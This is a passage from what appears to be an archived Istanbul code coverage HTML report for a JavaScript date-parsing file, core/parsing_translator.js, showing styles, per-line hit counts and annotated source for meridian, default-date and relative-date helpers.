              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
parsing_translator.js.html000066600000131670152444006550012002 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/parsing_translator.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header medium">
    <h1>Code coverage report for <span class="entity">core/parsing_translator.js</span></h1>
    <h2>
        
        Statements: <span class="metric">79.7% <small>(161 / 202)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">71.43% <small>(165 / 231)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">87.5% <small>(28 / 32)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">79.7% <small>(161 / 202)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; parsing_translator.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1327</span>
<span class="cline-any cline-yes">1327</span>
<span class="cline-any cline-yes">2853</span>
<span class="cline-any cline-yes">797</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2056</span>
<span class="cline-any cline-yes">1822</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1327</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">577</span>
<span class="cline-any cline-yes">11</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-yes">11</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-yes">11</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">42</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">91</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">437</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">108</span>
<span class="cline-any cline-yes">108</span>
<span class="cline-any cline-yes">108</span>
<span class="cline-any cline-yes">108</span>
<span class="cline-any cline-yes">108</span>
<span class="cline-any cline-yes">108</span>
<span class="cline-any cline-yes">108</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">525</span>
<span class="cline-any cline-yes">80</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">525</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">35</span>
<span class="cline-any cline-yes">35</span>
<span class="cline-any cline-yes">35</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">35</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-yes">17</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">11</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">169</span>
<span class="cline-any cline-yes">169</span>
<span class="cline-any cline-yes">109</span>
<span class="cline-any cline-yes">109</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">154</span>
<span class="cline-any cline-yes">68</span>
<span class="cline-any cline-yes">68</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">50</span>
<span class="cline-any cline-yes">72</span>
<span class="cline-any cline-yes">72</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">230</span>
<span class="cline-any cline-yes">222</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">221</span>
<span class="cline-any cline-yes">221</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">49</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">47</span>
<span class="cline-any cline-yes">47</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">47</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-yes">47</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">47</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">530</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">1822</span>
<span class="cline-any cline-yes">1822</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">108</span>
<span class="cline-any cline-yes">108</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">108</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">77</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">528</span>
<span class="cline-any cline-yes">35</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">493</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">493</span>
<span class="cline-any cline-yes">422</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">71</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">493</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">493</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	var $D = Date;
&nbsp;
	var flattenAndCompact = function (ax) {
		var rx = [];
		for (var i = 0; i &lt; ax.length; i++) {
			if (ax[i] instanceof Array) {
				rx = rx.concat(flattenAndCompact(ax[i]));
			} else {
				if (ax[i]) {
					rx.push(ax[i]);
				}
			}
		}
		return rx;
	};
&nbsp;
	var parseMeridian = function () {
		if (this.meridian &amp;&amp; (this.hour || <span class="branch-2 cbranch-no" title="branch not covered" >this.hour === 0)</span>) {
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this.meridian === "a" &amp;&amp; this.hour &gt; 11 &amp;&amp; <span class="branch-2 cbranch-no" title="branch not covered" >Date.Config.strict24hr)</span>{
<span class="cstat-no" title="statement not covered" >				throw "Invalid hour and meridian combination";</span>
			} else <span class="missing-if-branch" title="if path not taken" >I</span>if (this.meridian === "p" &amp;&amp; this.hour &lt; 12 &amp;&amp; Date.Config.strict24hr){
<span class="cstat-no" title="statement not covered" >				throw "Invalid hour and meridian combination";</span>
			} else if (this.meridian === "p" &amp;&amp; this.hour &lt; 12) {
				this.hour = this.hour + 12;
			} else <span class="missing-if-branch" title="if path not taken" >I</span>if (this.meridian === "a" &amp;&amp; this.hour === 12) {
<span class="cstat-no" title="statement not covered" >				this.hour = 0;</span>
			}
		}
	};
&nbsp;
	var setDefaults = function () {
		var now = new Date();
		<span class="missing-if-branch" title="if path not taken" >I</span>if ((this.hour || this.minute) &amp;&amp; (<span class="branch-2 cbranch-no" title="branch not covered" >!this.month </span>&amp;&amp; <span class="branch-3 cbranch-no" title="branch not covered" >!this.year </span>&amp;&amp; <span class="branch-4 cbranch-no" title="branch not covered" >!this.day)</span>) {
<span class="cstat-no" title="statement not covered" >			this.day = now.getDate();</span>
		}
&nbsp;
		if (!this.year) {
			this.year = now.getFullYear();
		}
		
		<span class="missing-if-branch" title="else path not taken" >E</span>if (!this.month &amp;&amp; this.month !== 0) {
			this.month = now.getMonth();
		}
		
		if (!this.day) {
			this.day = 1;
		}
		
		<span class="missing-if-branch" title="else path not taken" >E</span>if (!this.hour) {
			this.hour = 0;
		}
		
		<span class="missing-if-branch" title="else path not taken" >E</span>if (!this.minute) {
			this.minute = 0;
		}
&nbsp;
		<span class="missing-if-branch" title="else path not taken" >E</span>if (!this.second) {
			this.second = 0;
		}
		<span class="missing-if-branch" title="else path not taken" >E</span>if (!this.millisecond) {
			this.millisecond = 0;
		}
	};
&nbsp;
	var finishUtils = {
		getToday: function () {
			 if (this.now || "hour minute second".indexOf(this.unit) !== -1) {
				return new Date();
			} else {
				return $D.today();
			}
		},
		setDaysFromWeekday: function (today, orient){
			var gap;
			orient = orient || <span class="branch-1 cbranch-no" title="branch not covered" >1;</span>
			this.unit = "day";
			gap = ($D.getDayNumberFromName(this.weekday) - today.getDay());
			this.days = gap ? ((gap + (orient * 7)) % 7) : (<span class="branch-1 cbranch-no" title="branch not covered" >orient * 7)</span>;
			return this;
		},
		setMonthsFromMonth: function (today, orient) {
			var gap;
			orient = orient || <span class="branch-1 cbranch-no" title="branch not covered" >1;</span>
			this.unit = "month";
			gap = (this.month - today.getMonth());
			this.months = gap ? ((gap + (orient * 12)) % 12) : (<span class="branch-1 cbranch-no" title="branch not covered" >orient * 12)</span>;
			this.month = null;
			return this;
		},
		setDMYFromWeekday: function () {
			var d = Date[this.weekday]();
			this.day = d.getDate();
			<span class="missing-if-branch" title="else path not taken" >E</span>if (!this.month) {
				this.month = d.getMonth();
			}
			this.year = d.getFullYear();
			return this;
		},
		setUnitValue: function (orient) {
			<span class="missing-if-branch" title="if path not taken" >I</span>if (!this.value &amp;&amp; this.operator &amp;&amp; this.operator !== null &amp;&amp; this[this.unit + "s"] &amp;&amp; <span class="branch-4 cbranch-no" title="branch not covered" >this[this.unit + "s"] !== null)</span> {
<span class="cstat-no" title="statement not covered" >				this[this.unit + "s"] = this[this.unit + "s"] + ((this.operator === "add") ? 1 : -1) + (this.value||0) * orient;</span>
			} else if (this[this.unit + "s"] == null || this.operator != null) {
				if (!this.value) {
					this.value = 1;
				}
				this[this.unit + "s"] = this.value * orient;
			}
		},
		generateDateFromWeeks: function () {
			var weekday = (this.weekday !== undefined) ? this.weekday : "today";
			var d = Date[weekday]().addWeeks(this.weeks);
			if (this.now) {
				d.setTimeToNow();
			}
			return d;
		}
	};
&nbsp;
	$D.Translator = {
		hour: function (s) {
			return function () {
				this.hour = Number(s);
			};
		},
		minute: function (s) {
			return function () {
				this.minute = Number(s);
			};
		},
		second: <span class="fstat-no" title="function not covered" >function (s) {</span>
<span class="cstat-no" title="statement not covered" >			return <span class="fstat-no" title="function not covered" >function () {</span></span>
